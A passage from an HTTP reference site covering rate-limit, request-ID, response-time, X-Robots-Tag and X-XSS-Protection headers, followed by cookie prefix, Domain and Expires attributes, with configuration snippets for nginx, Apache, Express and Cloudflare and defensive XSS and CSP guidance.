retry`) await new Promise((resolve) => setTimeout(resolve, retryAfter * 1000)) // Retry the request return fetch(response.url) } } return response } ``` **4. Monitor remaining requests** ```javascript class APIClient { constructor() { this.rateLimitRemaining = null this.rateLimitReset = null } async request(url) { // Check if we're close to limit if (this.rateLimitRemaining !== null && this.rateLimitRemaining < 10) { const now = Date.now() / 1000 const waitTime = this.rateLimitReset - now if (waitTime > 0) { console.warn(`Low on rate limit. Waiting ${waitTime}s`) await new Promise((resolve) => setTimeout(resolve, waitTime * 1000)) } } const response = await fetch(url) // Update rate limit info this.rateLimitRemaining = parseInt(response.headers.get('X-RateLimit-Remaining')) this.rateLimitReset = parseInt(response.headers.get('X-RateLimit-Reset')) return response } } ``` ## Common Header Variations ### Twitter/X Style ```http X-Rate-Limit-Limit: 180 X-Rate-Limit-Remaining: 179 X-Rate-Limit-Reset: 1737216000 ``` ### GitHub Style ```http X-RateLimit-Limit: 5000 X-RateLimit-Remaining: 4999 X-RateLimit-Reset: 1737216000 X-RateLimit-Used: 1 X-RateLimit-Resource: core ``` ### IETF draft (older revisions) ```http RateLimit-Limit: 1000 RateLimit-Remaining: 950 RateLimit-Reset: 3600 ``` Newer revisions replace these three with `RateLimit` and `RateLimit-Policy`; see the end of this page. ### Stripe Style ```http X-RateLimit-Limit: 100 X-RateLimit-Remaining: 99 X-RateLimit-Reset: 1737216000 ``` ## Testing Rate Limits ### Using curl ```bash # Check rate limit headers curl -I https://api.example.com/data # Make multiple requests for i in {1..10}; do curl -s -I https://api.example.com/data | grep -i "x-ratelimit" sleep 1 done # Extract rate limit info curl -s -I https://api.example.com/data | \ grep -E "X-RateLimit-(Limit|Remaining|Reset)" ``` ### Using JavaScript ```javascript // Test rate limiting async function testRateLimit() { let requestCount = 0 while (true) { requestCount++ const response = await fetch('/api/data') const limit = response.headers.get('X-RateLimit-Limit') const remaining = response.headers.get('X-RateLimit-Remaining') const reset = response.headers.get('X-RateLimit-Reset') console.log(`Request ${requestCount}: ${remaining}/${limit} remaining`) if (response.status === 429) { console.log('Rate limit hit!') console.log('Reset at:', new Date(reset * 1000)) break } await new Promise((resolve) => setTimeout(resolve, 100)) } } testRateLimit() ``` ## The IETF draft: RateLimit and RateLimit-Policy `X-RateLimit-*` is a convention, not a standard. The IETF HTTPAPI working group's draft (draft-ietf-httpapi-ratelimit-headers, at revision 11 as of this review and still an Internet-Draft, not an RFC) defines two Structured Field headers instead of three separate ones: ```http RateLimit-Policy: "default";q=100;w=10 RateLimit: "default";r=50;t=30 ``` Read that as: the policy named `default` allows 100 quota units (`q`) per 10-second window (`w`); 50 remain (`r`) and the window resets in 30 seconds (`t`). Earlier drafts used `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and some libraries (including `express-rate-limit` with `standardHeaders: 'draft-6'`) still emit those. Reset is a relative number of seconds, not a Unix timestamp, which avoids clock-sync problems. Because the draft has changed shape between revisions, check which one a given API implements rather than assuming. ## Related Headers - [Retry-After](https://howhttpworks.com/headers/retry-after) - When to retry after rate limit - [Warning](https://howhttpworks.com/headers/warning) - Additional warning information - [Date](https://howhttpworks.com/headers/date) - Server time for calculating reset - [Age](https://howhttpworks.com/headers/age) - Age of cached response (affects rate counting) --- # X-Request-ID Header: Correlation IDs Across Services > X-Request-ID tags one request so you can find it in every log. nginx $request_id, Heroku behavior, propagation between services, and traceparent. Source: https://howhttpworks.com/headers/x-request-id Last reviewed: 2026-10-04 > **TL;DR:** `X-Request-ID` is an opaque per-request identifier, set at the edge (or by the client) and then copied into every downstream call and log line so one request can be followed across services. It is a convention, not a standard; the standard equivalent for tracing is `traceparent`. ## How it flows ```http GET /orders/42 HTTP/1.1 Host: api.example.com X-Request-ID: 7f3c1d0a9b2e4f5c8d6e1a2b3c4d5e6f ``` ```http HTTP/1.1 200 OK X-Request-ID: 7f3c1d0a9b2e4f5c8d6e1a2b3c4d5e6f Content-Type: application/json ``` The rule is simple: use the ID if one arrived and passes validation, otherwise mint one; attach it to every log line; forward it on every outbound call; return it in the response. ## Where it comes from - **nginx** can mint one. `$request_id` is a unique identifier generated from 16 random bytes, in hexadecimal (since 1.11.0). nginx does not automatically add it to headers; you do that: ```nginx log_format main '$remote_addr "$request" $status req_id=$request_id'; access_log /var/log/nginx/access.log main; location / { proxy_set_header X-Request-ID $request_id; add_header X-Request-ID $request_id always; proxy_pass http://app; } ``` - **Heroku** router generates a request ID for each request and passes it to the app as `X-Request-ID`. A client can supply its own, 20 to 200 characters from ASCII letters, digits and `+ / = -`; invalid values are ignored and replaced. The ID appears as `request_id=` in router logs, which is how you join router lines (including H13 errors) to application logs. - **Frameworks**: Rails exposes it via `config.log_tags = [:request_id]`, and Django needs middleware such as `django-log-request-id`. Other platforms and load balancers vary in whether they set the header at all, so check a real response before relying on it. ## Propagation in application code Node with an `AsyncLocalStorage` so the ID follows async calls without being passed around: ```javascript import { AsyncLocalStorage } from 'node:async_hooks' import { randomUUID } from 'node:crypto' const als = new AsyncLocalStorage() const VALID = /^[A-Za-z0-9+/=_-]{16,200}$/ export function requestId(req, res, next) { const incoming = req.get('x-request-id') const id = incoming && VALID.test(incoming) ? incoming : randomUUID() res.set('X-Request-ID', id) als.run({ id }, next) } export const currentId = () => als.getStore()?.id // outbound call await fetch('http://billing.internal/charge', { headers: { 'X-Request-ID': currentId() } }) ``` Log it as a structured field (`"request_id": "..."`), not inside the message text, so it is searchable. ## Gotchas - **Validate client values.** An unbounded client string goes into your logs verbatim. Restrict length and charset, or discard it and keep it in a separate `client_request_id` field. - **Retries share an ID, new requests do not.** A retry by the client is the same logical request, so reusing the ID is fine; a fan-out call to five services all carry the parent's ID. - **CDNs and gateways may overwrite it.** If the ID you see in app logs never matches what the client sent, a proxy minted a new one. Compare with a direct `curl` to the origin. - **Not for secrets or users.** Do not derive it from a user id or session, and do not treat it as unguessable authentication. - **Case.** HTTP header names are case-insensitive. Node lowercases them (`req.headers['x-request-id']`). ## Alternative: W3C traceparent When you already run OpenTelemetry or an APM, prefer [traceparent](https://howhttpworks.com/headers/traceparent): the trace id is parsed by tools, spans link into a tree, and vendors interoperate. Many teams keep both, putting the trace id in logs next to the request ID so non-engineers have a short value to quote. ## Verify ```bash curl -si https://api.example.com/health -H 'X-Request-ID: 7f3c1d0a9b2e4f5c8d6e1a2b3c4d5e6f' | grep -i x-request-id curl -si https://api.example.com/health | grep -i x-request-id # server-generated? ``` ## Related - [Via](https://howhttpworks.com/headers/via), [X-Forwarded-For](https://howhttpworks.com/headers/x-forwarded-for), [Server-Timing](https://howhttpworks.com/headers/server-timing), [X-Response-Time](https://howhttpworks.com/headers/x-response-time) --- # X-Response-Time > Learn how the X-Response-Time header indicates server processing time in milliseconds. Useful for performance monitoring and debugging slow requests. Source: https://howhttpworks.com/headers/x-response-time Last reviewed: 2026-10-05 > **TL;DR:** `X-Response-Time` has no standard measurement boundary or format. Express's response-time middleware measures from middleware entry until response headers are written, in milliseconds. It does not measure complete body transfer or browser round-trip latency. The field is an application convention. Check the producer before interpreting its units or comparing values across services. This page's concrete behavior refers to Express's documented [response-time middleware](https://expressjs.com/en/resources/middleware/response-time/). ## Example Response Field format: ```text X-Response-Time: ms ``` With default options, the middleware uses the name `X-Response-Time`, three decimal places, and the `ms` suffix. Options can change the name, precision, and suffix. ## What It Usually Measures For this middleware, the clock starts when the request enters it and stops before headers are written. Work before that middleware is excluded. With a streamed response, later chunks can be generated long after this timer stops. DNS, TLS negotiation, and browser rendering are outside its measurement boundary. ## Correct Express Implementation Install `express` and `response-time` in your example project with `pnpm add express response-time`. Save this as `app.mjs` and run `node app.mjs`: ```javascript import express from 'express' import responseTime from 'response-time' const app = express() app.use(responseTime()) app.get('/', (req, res) => res.json({ status: 'ok' })) app.listen(3000, '127.0.0.1') ``` Inspect the measured value: ```bash curl -sS -D - http://127.0.0.1:3000/ -o /dev/null ``` To change precision and the field name, replace the middleware registration with documented options: ```javascript app.use(responseTime({ digits: 1, header: 'X-Response-Time', suffix: true })) ``` Changing precision affects formatting, not the clock's start and stop boundaries. With this registration, the field still stops at header output even if a later streaming chunk takes much longer to generate. ## When to Expose It Treat the timing as public response data wherever you send it. If a cross-origin browser client must read it through Fetch, the server also needs the appropriate CORS policy and this illustrative exposure field: ```http Access-Control-Expose-Headers: X-Response-Time ``` This controls script access, not visibility to curl or other HTTP clients. See the [Fetch Standard's CORS exposure rules](https://fetch.spec.whatwg.org/#http-access-control-expose-headers). ## Recommended Standard Alternative [Server-Timing](https://howhttpworks.com/headers/server-timing) defines named metrics and Performance API integration. To publish both from the same measurement, replace `app.use(responseTime())` above with: ```javascript app.use(responseTime((req, res, time) => { res.setHeader('X-Response-Time', `${time.toFixed(3)}ms`) res.setHeader('Server-Timing', `app;dur=${time.toFixed(3)}`) })) ``` ## Measuring and Exposing Response Time Correctly Setting a header in Node's `finish` event is too late. Calling `setHeader()` after headers were sent throws [`ERR_HTTP_HEADERS_SENT`](https://nodejs.org/api/errors.html#err_http_headers_sent); it does not silently update the response. The [middleware source](https://github.com/expressjs/response-time/blob/master/index.js) uses `on-headers` and `process.hrtime()` to calculate the duration before header output. It does not simply wait for `res.end()` or for the response to finish. --- # X-Robots-Tag Header: noindex for PDFs and Staging > X-Robots-Tag sends noindex and snippet rules as an HTTP header for PDFs, images and staging sites. nginx, Apache and Cloudflare config, and the robots.txt trap. Source: https://howhttpworks.com/headers/x-robots-tag Last reviewed: 2026-10-04 > **TL;DR:** `X-Robots-Tag: noindex` tells search engines not to list a URL, and it works on PDFs, images and other files where a meta tag is impossible. The crawler has to be allowed to fetch the URL to see it, so never combine it with a `robots.txt` Disallow on the same path. ## Syntax ```http HTTP/1.1 200 OK Content-Type: application/pdf X-Robots-Tag: noindex, nofollow ``` The value is a comma-separated list of rules. You can send several headers, and you can scope a rule to one crawler by prefixing its user agent token: ```http X-Robots-Tag: googlebot: noindex X-Robots-Tag: otherbot: noindex, nofollow ``` Rules without a user agent apply to every crawler that honours the header. Google documents that the header name, user agent names and values are not case sensitive. When rules conflict, the more restrictive one wins. ## Directives Google supports Per Google Search Central's robots meta tag specification: | Rule | Effect | | --- | --- | | `all` | No restrictions. This is the default. | | `noindex` | Do not show the page, media or resource in search results. | | `nofollow` | Do not follow links on the page. | | `none` | Shorthand for `noindex, nofollow`. | | `nosnippet` | Show no text snippet or video preview. | | `indexifembedded` | Allow indexing of the content when it is embedded in another page through an iframe or similar, even though the page carries `noindex`. It only takes effect together with `noindex`. | | `max-snippet: [number]` | Limit the text snippet to that many characters. `0` means none, `-1` means no limit. | | `max-image-preview: [setting]` | `none`, `standard` or `large`. | | `max-video-preview: [number]` | Limit video previews to that many seconds. `0` allows a static image only, `-1` is unlimited. | | `notranslate` | Do not offer translation of the page in results. | | `noimageindex` | Do not index images on the page. | | `unavailable_after: [date]` | Stop showing the page after the date. RFC 822, RFC 850 and ISO 8601 formats are accepted. | Other search engines document their own sets. Check each vendor before relying on a directive outside this list. ## When to use it - **Files with no HTML head.** PDFs, Word and Excel downloads, images, and video. A meta tag cannot exist in them. - **Staging, preview and internal hosts.** Send `noindex, nofollow` for every response from the host. It is quicker to apply than editing templates. - **Pagination, filter and search-result URLs** that you want crawled for links but not indexed: `noindex, follow`. - **Expiring content.** `unavailable_after: 31 Dec 2027 23:59:59 GMT` for a promotion page. If the content is confidential, use authentication. `noindex` is a request to crawlers, not access control. ## Configuration ### nginx ```nginx # Every PDF and Word document on the site location ~* \.(pdf|docx?|xlsx?)$ { add_header X-Robots-Tag "noindex, nofollow" always; try_files $uri =404; } # Whole staging host server { server_name staging.example.com; add_header X-Robots-Tag "noindex, nofollow" always; } ``` Two nginx behaviours cause most "it works on one URL and not another" bugs. Without `always`, `add_header` only applies to 200, 201, 204, 206 and the 3xx codes, so a 404 or 500 page goes out without it. And `add_header` inherits from the enclosing level only if the current level has no `add_header` of its own: put a `Cache-Control` `add_header` in a `location` and the server-level `X-Robots-Tag` disappears for that location. nginx 1.29.3 added `add_header_inherit merge` to change that. On older versions, repeat the header in each block. ### Apache ```apache Header set X-Robots-Tag "noindex, nofollow" ``` This is Google's own example pattern for PDFs and requires `mod_headers`. Use `Header always set` if error responses need it too. ### Cloudflare For a site proxied through Cloudflare, add a Response Header Transform Rule (Rules, Transform Rules, Modify Response Header): set a static header named `X-Robots-Tag` with value `noindex, nofollow`, matched by a custom filter expression such as: ```text ends_with(http.request.uri.path, ".pdf") or http.host eq "staging.example.com" ``` For Cloudflare Pages static assets, use a `_headers` file in the build output. Cloudflare documents `X-Robots-Tag: noindex` for preview deployments as a use case: ```text https://:project.pages.dev/* X-Robots-Tag: noindex ``` `_headers` rules do not apply to responses generated by Pages Functions. Set the header in the Function code for those. ### Express ```javascript app.use('/downloads', (req, res, next) => { res.set('X-Robots-Tag', 'noindex, nofollow') next() }) ``` ## The robots.txt trap `robots.txt` controls crawling. `X-Robots-Tag` is read from the response of a crawl. If a URL is disallowed, the crawler never makes the request, so it never sees the header. Google's documentation says it plainly: if the page is blocked by `robots.txt` the crawler never sees the `noindex` rule and the page can still appear in search results. Google also does not support a `noindex` line inside `robots.txt`. So the sequence for removing something is: 1. Remove the Disallow rule for that path. 2. Serve `X-Robots-Tag: noindex` on the URL. 3. Request a recrawl in Search Console's URL Inspection tool, or wait. 4. Only after it has dropped out, if you want to stop crawling, add the Disallow back. ## Verify ```bash curl -sI https://example.com/files/report.pdf | grep -i x-robots-tag ``` Run it against the canonical, final URL. Then run it against a 404 path on the same host to see whether the header survives error responses. Search Console's URL Inspection shows whether Google saw `noindex` on its last fetch. ## Related - [Content-Type](https://howhttpworks.com/headers/content-type), the header that tells crawlers a URL is a PDF or an image in the first place - [Cache-Control](https://howhttpworks.com/headers/cache-control): crawlers recrawl on their own schedule, but a long `max-age` at your CDN can keep serving an old header --- # X-XSS-Protection Header > Deprecated header that enabled browser XSS filters to detect and block reflected cross-site scripting attacks. Source: https://howhttpworks.com/headers/x-xss-protection Last reviewed: 2026-10-05 > **TL;DR:** `X-XSS-Protection` switched the XSS filters in old browsers on or off. Those filters belong to older browsers, and the header is deprecated. If you send it at all, send `X-XSS-Protection: 0`. Real XSS protection comes from context-aware output encoding and safe DOM APIs, with a tested Content-Security-Policy as a second layer. ## What is X-XSS-Protection? It's a nonstandard response header that controlled reflected-XSS filters in older browsers. It's [deprecated](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-XSS-Protection), and seeing it on a response tells you nothing about whether a current browser is protecting the page. ## How X-XSS-Protection Worked The filters compared what was in the request with what came back in the document. If something looked like reflected script injection, the browser either stripped the suspect content or refused to render the page. It was a heuristic: it caught some attacks and missed others, with no guarantee that all attacker-controlled script was blocked. So a filter that watched reflected input told you nothing about the app's other rendering paths, such as stored comments or DOM-based injection. ## Syntax These are the historical values, useful when you're reading an old config: ```http X-XSS-Protection: 0 ``` `0` turns the legacy filter off. `1` turned filtering on with sanitization, and `1; mode=block` told the browser to block the whole page instead of sanitizing it. You pick one value; they aren't three fields to send together. ## Historical Usage You'll still find `1; mode=block` in old configurations and copy-pasted hardening guides. Leave it out of new deployments, even if a scanner complains. If a client or compliance rule really requires it, write down which one before you treat a missing-header warning as an application vulnerability. When reviewing an old server config, here's what each value asked for: | Value | Requested legacy behavior | | --- | --- | | `0` | Disable the reflected-XSS filter | | `1` | Filter suspected reflected content | | `1; mode=block` | Block rendering when the filter detects an attack | These only controlled the old filter. They have nothing to do with output encoding, sanitizing stored comments or configuring CSP. Support lived in older browser filters and differed between engines. Check the [compatibility data](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-XSS-Protection#browser_compatibility) if you care about a specific legacy client. The header showing up in DevTools doesn't mean anything is enforcing it. ## Why It's Deprecated The filter could remove a legitimate script just because similar text appeared in the request. If later code relied on that script to set up security-relevant state, an attacker could use the filter itself to change program behavior and open a hole. MDN documents this failure mode. Turning the filter off removes that risk. Any injection bugs your app already has are still there and still need fixing. ## Migration to CSP For an app whose JavaScript lives entirely in external, same-origin files, this policy blocks inline scripts and scripts from other origins (response headers on this page are trimmed examples): ```http Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none' ``` It will break an app that relies on inline scripts. It also isn't complete XSS prevention: an attacker-controlled script hosted on an allowed origin still runs. For stronger policies, use generated nonces or hashes as described in the [CSP specification](https://w3c.github.io/webappsec-csp/#security-nonces), and never reuse a literal example nonce as a deployment secret. If you need inline code, generate a fresh nonce for every response. In an existing Express app with Helmet: ```javascript const { randomBytes } = require('node:crypto') const helmet = require('helmet') app.use((_req, res, next) => { res.locals.cspNonce = randomBytes(32).toString('base64') next() }) app.use(helmet.contentSecurityPolicy({ useDefaults: false, directives: { defaultSrc: ["'self'"], scriptSrc: [(_req, res) => `'nonce-${res.locals.cspNonce}'`], objectSrc: ["'none'"], baseUri: ["'none'"] } })) app.get('/nonce-demo', (_req, res) => { res.type('html').send( `` ) }) ``` [Helmet supports response-local nonce functions](https://helmet.js.org/#content-security-policy), and [Node's randomBytes](https://nodejs.org/api/crypto.html#cryptorandombytessize-callback) supplies the random bytes. The only dynamic value in this demo markup is the generated nonce. Keep request input out of script bodies entirely. You'll need to extend the policy for your app's styles, frames and external scripts. If you cache these pages, cache the nonce-bearing HTML together with its matching header. ## Server Configuration In an existing nginx `server` block: ```nginx add_header X-XSS-Protection "0" always; ``` With Apache's `mod_headers` loaded: ```apacheconf Header always set X-XSS-Protection "0" ``` If upstream code also sets the field, check [nginx header inheritance](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) and [Apache's response header tables](https://httpd.apache.org/docs/2.4/mod/mod_headers.html#header) so you end up with one value. ## Removing X-XSS-Protection For a legacy browser whose filter is on by default, removing the header and sending `0` are different things: only `0` actually turns the filter off. Current [Helmet documentation](https://helmet.js.org/#x-xss-protection) says `helmet()` sets `X-XSS-Protection: 0` by default. The standalone middleware does the same: ```javascript import express from 'express'; import helmet from 'helmet'; const app = express(); app.use(helmet.xXssProtection()); app.get('/', (_req, res) => res.send('Legacy XSS filter disabled')); app.listen(3000); ``` Setting Helmet's `xXssProtection` option to `false` skips the middleware entirely, so no header is sent at all, not even `0`. ## Modern XSS Protection Put untrusted text into the page through a text sink, so the browser never parses it as HTML: ```javascript const message = new URLSearchParams(location.search).get('message') ?? ''; document.querySelector('#message').textContent = message; ``` The page needs an element with `id="message"`. When you deliberately render HTML, run it through a sanitizer. Encoding rules differ for HTML text, attributes, URLs and JavaScript, and [OWASP's XSS guidance](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) explains where each applies. For server-rendered text, Handlebars escapes ordinary expressions: ```handlebars

{{message}}

``` [Triple braces disable HTML escaping](https://handlebarsjs.com/guide/expressions.html#html-escaping), so keep untrusted text out of them. HTML-text escaping also won't protect a JavaScript string or a URL attribute; those contexts need their own encoding or validation. When a feature intentionally accepts a little HTML, a browser app with DOMPurify installed can restrict it to an allowlist: ```javascript import DOMPurify from 'dompurify' const dirty = new URLSearchParams(location.search).get('message') ?? '' const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['strong', 'em'], ALLOWED_ATTR: [] }) document.querySelector('#message').innerHTML = clean ``` [DOMPurify documents these allowlist options](https://github.com/cure53/DOMPurify#can-i-configure-dompurify). Bundle the import for the browser and keep the library updated. Use the sanitized result exactly where you sanitized it: appending more untrusted markup afterwards, or moving the result into a different template context, undoes the protection. ## Complete Security Headers Setup The legacy filter setting, CSP, framing policy and MIME-type enforcement each handle a different failure mode. Configure them together, then test your real document and resource responses. None of them fixes unsafe rendering code. For an nginx server whose app uses only external same-origin JavaScript, these directives set each control separately: ```nginx add_header X-XSS-Protection "0" always; add_header X-Content-Type-Options "nosniff" always; add_header X-Frame-Options "DENY" always; add_header Content-Security-Policy "script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'" always; ``` The CSP blocks inline scripts and framing, `nosniff` makes the browser trust declared resource types, and the legacy field turns off the old filter. Merge these with any policy your app already sends, then confirm real pages still load. An unsafe `innerHTML` assignment stays unsafe no matter what headers you send. ## Testing and Validation ```bash curl -sS -D - -o /dev/null https://app.example.com/ ``` You should see exactly one `X-XSS-Protection: 0`. That confirms the header is delivered; it says nothing about XSS resistance. For that, watch for CSP violations in the browser and test your untrusted-input rendering paths directly. On a served test page, log CSP violations while you exercise its scripts: ```javascript document.addEventListener('securitypolicyviolation', (event) => { console.log(event.effectiveDirective, event.blockedURI) }) ``` [The violation event](https://developer.mozilla.org/en-US/docs/Web/API/SecurityPolicyViolationEvent) reports policy failures, which is only a subset of XSS bugs. Feed untrusted text containing `<`, `>` and quotes into each place the app renders it. A header scan can't tell you whether that rendering escapes properly or goes through an unsafe sink. ## Getting X-XSS-Protection right Remove any upstream `1; mode=block` before adding `0`, so the response carries one deliberate value instead of two conflicting ones. If your CSP is breaking something, fix the resource it blocks or the injection bug behind it, rather than re-enabling a legacy filter as a workaround. ## Common Misconceptions CSP backs up output encoding; it doesn't replace it. [`HttpOnly`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#httponly) keeps JavaScript from reading a cookie, but injected script can still make authenticated same-origin requests that send it. Neither that cookie attribute nor this deprecated header makes an unsafe HTML sink safe. ## Related Headers - [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) - [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options) - [X-Frame-Options](https://howhttpworks.com/headers/x-frame-options) --- # Cookie Prefixes: __Host- and __Secure- Rules > Cookie prefixes make the browser enforce attributes. The exact __Host- and __Secure- rules from RFC 6265bis, how to set them, and why a cookie vanishes. Source: https://howhttpworks.com/cookies/cookie-prefixes Last reviewed: 2026-10-04 > **TL;DR:** A cookie whose name starts with `__Host-` is only accepted if it has `Secure`, `Path=/` and no `Domain`, and was set over HTTPS. `__Secure-` only demands `Secure` over HTTPS. The browser enforces this, so a subdomain or a network attacker cannot overwrite your session cookie. ## The rules From [RFC 6265bis section 4.1.3](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis#section-4.1.3) (still an Internet-Draft; it was in the RFC Editor queue when this page was last reviewed): | Prefix | Secure attribute | Set from HTTPS | Domain attribute | Path attribute | | --- | --- | --- | --- | --- | | `__Secure-` | Required | Required | Allowed | Any | | `__Host-` | Required | Required | Forbidden | Must be `/` | ```http Set-Cookie: __Secure-theme=dark; Secure; Domain=example.com; SameSite=Lax Set-Cookie: __Host-sid=a3fWa9; Secure; Path=/; HttpOnly; SameSite=Lax ``` If a `Set-Cookie` header with a prefixed name violates its rules, the browser discards the cookie. There is no error in the page and no `Set-Cookie` echo in `document.cookie`; the symptom is "the cookie never appears". Server-side, the draft says a name starting with the case-sensitive string `__Secure-` implies the cookie was set with `Secure`. User agents must match the prefix case-insensitively, which prevents a mis-capitalized `__host-` name from dodging the checks while a server that folds case still reads it. ## What problem prefixes solve Cookies are scoped by host, not origin, and a cookie from `evil.example.com` with `Domain=example.com` is sent to `app.example.com`. If it has the same name as your session cookie, the browser may send both, and many frameworks read the first one. This is cookie tossing, and it feeds session fixation and CSRF-token overwrite. An HTTP-only network attacker can do the same by injecting a cookie into a plain HTTP response for your domain. - `__Host-` closes both holes. Without `Domain` the cookie is host-only, so a sibling subdomain cannot set one that collides, and `Secure` stops the HTTP injection. `Path=/` stops a different path on the same host from planting one. - `__Secure-` only closes the HTTP injection. It is for cookies that must span subdomains. Prefixes are the right default for session and CSRF cookies. The [Secure](https://howhttpworks.com/cookies/secure) attribute alone leaves the subdomain case open. ## Setting a __Host- cookie in common stacks Express with `express-session`: ```javascript app.set('trust proxy', 1) // so req.secure is true behind a TLS-terminating proxy app.use(session({ name: '__Host-sid', secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: false, cookie: { secure: true, httpOnly: true, sameSite: 'lax', path: '/' } // no domain })) ``` Laravel reads these from `config/session.php`, with environment overrides: ```bash SESSION_COOKIE=__Host-laravel_session SESSION_SECURE_COOKIE=true SESSION_PATH=/ SESSION_DOMAIN=null ``` `SESSION_DOMAIN=null` is what keeps `Domain` out of the header. If another layer, such as a CDN rule or a legacy middleware, appends `Domain=`, the cookie vanishes. From JavaScript the same restrictions apply: `document.cookie = "__Host-flag=1; Secure; Path=/"` works on HTTPS pages and is rejected on `http://`. ## Debug checklist 1. Run `curl -si https://example.com/login | grep -i set-cookie` and look for `Domain=` and `Path=` on the `__Host-` line. 2. Behind a proxy, confirm the app sees HTTPS (`X-Forwarded-Proto`); a framework that only adds `Secure` for HTTPS requests will omit it, and the browser will drop the cookie. 3. Make sure every environment, including localhost, serves the cookie over HTTPS. Chrome and Firefox treat `http://localhost` as secure; Safari has historically not. 4. Change the cookie name only with a migration plan: users with the old unprefixed cookie are logged out when you rename it. ## Newer prefixes MDN also documents `__Http-` (requires `Secure` and `HttpOnly`) and `__Host-Http-` (the `__Host-` rules plus `HttpOnly`). Its compatibility data lists them as supported from Chrome 140 and Firefox 143, and not in Safari. Use them as an addition where you can, not as a replacement for `__Host-`. ## With Partitioned cookies [Partitioned](https://howhttpworks.com/cookies/partitioned) cookies are recommended to use the `__Host-` prefix, so a third-party embed's state is bound to its own host and partition. --- # Domain > Learn how the Domain cookie attribute controls which domains can access cookies. Understand subdomain sharing, security implications, and restrictions. Source: https://howhttpworks.com/cookies/domain Last reviewed: 2026-10-04 > **TL;DR:** Controls which domains can access a cookie - set `Domain=example.com` to share cookies across subdomains, or omit it to restrict cookies to the exact domain that set them. ## What is the Domain Attribute? The **Domain** attribute controls which domains can access a cookie. It determines the scope of cookie availability across your domain hierarchy, enabling subdomain sharing while maintaining security boundaries. Without the Domain attribute, cookies are restricted to the exact domain that set them. With it, you can share cookies across subdomains or restrict them more precisely. ## How It Works ### Default Behavior (No Domain Attribute) ```http Set-Cookie: sessionId=abc123 ``` Cookie is only available to the exact domain that set it: - ✅ `example.com` can access - ❌ `api.example.com` cannot access - ❌ `subdomain.example.com` cannot access ### With Domain Attribute ```http Set-Cookie: sessionId=abc123; Domain=example.com ``` Cookie is available to the specified domain and all its subdomains: - ✅ `example.com` can access - ✅ `api.example.com` can access - ✅ `subdomain.example.com` can access - ❌ `otherdomain.com` cannot access ## Security Implications ### Subdomain Cookie Sharing Risks When you set `Domain=example.com`, **all subdomains** can access the cookie: ```javascript // Dangerous: Shares sensitive data with all subdomains document.cookie = 'authToken=secret123; Domain=example.com' // Safer: Restrict to specific domain document.cookie = 'authToken=secret123' // No Domain attribute ``` **Risk**: If any subdomain is compromised, attackers can steal cookies from the parent domain. ### Domain Validation Browsers enforce strict domain validation: ```http # ❌ Invalid: Cannot set cookie for unrelated domain Set-Cookie: data=value; Domain=google.com # (Set from example.com - browser will reject) # ❌ Invalid: Cannot set for parent domain you don't control Set-Cookie: data=value; Domain=.com # (Browser will reject) # ✅ Valid: Can set for current domain or its subdomains Set-Cookie: data=value; Domain=example.com # (Set from example.com or any subdomain) ``` ## Browser Behavior ### Leading Dot Handling Modern browsers treat these identically: ```http Set-Cookie: data=value; Domain=example.com Set-Cookie: data=value; Domain=.example.com ``` Both allow access from `example.com` and all subdomains. ### Public Suffix Protection Browsers prevent setting cookies for public suffixes: ```http # ❌ Blocked by browser Set-Cookie: data=value; Domain=.co.uk Set-Cookie: data=value; Domain=.github.io ``` This prevents malicious sites from setting cookies that affect unrelated domains. ## Code Examples ### Express.js Cookie Management ```javascript const express = require('express') const app = express() // Restrict to exact domain app.get('/login', (req, res) => { res.cookie('sessionId', 'abc123', { // No domain - only available to current domain httpOnly: true, secure: true }) }) // Share across subdomains app.get('/api-login', (req, res) => { res.cookie('apiToken', 'xyz789', { domain: 'example.com', // Available to all subdomains httpOnly: true, secure: true }) }) ``` ### Client-Side Domain Checking ```javascript // Check current domain before setting cookies function setCrossDomainCookie(name, value) { const currentDomain = window.location.hostname if (currentDomain.endsWith('.example.com') || currentDomain === 'example.com') { document.cookie = `${name}=${value}; Domain=example.com; Secure; SameSite=Strict` } else { // Fallback to domain-specific cookie document.cookie = `${name}=${value}; Secure; SameSite=Strict` } } ``` ### Reading Domain-Scoped Cookies ```javascript // Function to check cookie availability across domains function checkCookieScope() { const cookies = document.cookie.split(';') cookies.forEach((cookie) => { const [name, value] = cookie.trim().split('=') console.log(`Cookie ${name} available on ${window.location.hostname}`) }) } // Test from different subdomains checkCookieScope() // Run on api.example.com, app.example.com, etc. ``` ## Common Mistakes ### Over-Sharing with Subdomains ```javascript // ❌ Bad: Exposes sensitive data to all subdomains document.cookie = 'creditCard=1234; Domain=example.com' // ✅ Good: Keep sensitive data domain-specific document.cookie = 'creditCard=1234' // No Domain attribute ``` ### Incorrect Domain Format ```javascript // ❌ Wrong: Including protocol or path document.cookie = 'data=value; Domain=https://example.com' document.cookie = 'data=value; Domain=example.com/path' // ✅ Correct: Domain name only document.cookie = 'data=value; Domain=example.com' ``` ### Assuming Domain Inheritance ```javascript // ❌ Wrong assumption: Parent domain cookies aren't automatically // available to subdomains without Domain attribute // Set on example.com without Domain attribute document.cookie = 'parentData=value' // This won't be available on api.example.com ``` ## Getting Domain right 1. **Default to No Domain**: Only use Domain attribute when subdomain sharing is necessary 2. **Minimize Scope**: Set Domain to the most specific level needed 3. **Audit Subdomains**: Ensure all subdomains in scope are secure 4. **Separate Sensitive Data**: Use domain-specific cookies for authentication tokens 5. **Monitor Cookie Scope**: Regularly review which cookies are shared across subdomains --- # Expires > Learn how the Expires cookie attribute sets an absolute expiration date. Understand date formats, timezone handling, and when to use Expires vs Max-Age. Source: https://howhttpworks.com/cookies/expires Last reviewed: 2026-10-04 > **TL;DR:** `Expires` sets an absolute HTTP-date after which the browser discards the cookie. If `Max-Age` is also present it wins, browsers cap either one at about 400 days, and a date in the past deletes the 